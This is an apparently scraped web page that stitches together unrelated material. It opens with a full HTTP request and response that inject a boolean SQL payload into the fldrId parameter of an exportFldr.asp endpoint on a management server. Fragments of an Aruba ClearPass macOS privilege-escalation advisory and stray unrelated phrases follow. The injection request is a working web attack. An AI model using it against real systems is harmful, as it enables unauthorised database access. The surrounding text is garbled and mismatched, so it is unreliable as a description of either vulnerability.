Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh Intel Mac OS X 10.16 rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml q=0.9,image/webp,*/* q=0.8 Accept-Language: en-US,en q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA sessionId=30548861 agentguid=840997037507813 vsaUser=scopeId=3&roleId=2 webWindowId=59091519 ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Charset=Utf-8 Date: Thu, 17:33:53 GMT Strict-Transport-Security: max-age=63072000 includeSubDomains Connection: close Content-Length: 7960 Export Folder - SNIP - ``` SNIP- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Aruba has released upgrades for Aruba ClearPass Policy Manager that address this security vulnerability.įreshService Windows Agent Whoops. A successful exploit could allow these users to execute arbitrary code with root level privileges on the macOS instance in Aruba ClearPass Policy Manager version(s): 6.10.x: 6.10.6 and below 6.9.x: 6.9.11 and below. A vulnerability in the ClearPass OnGuard macOS agent could allow malicious users on a macOS instance to elevate their user privileges.

Tor web browser os x 10.7.4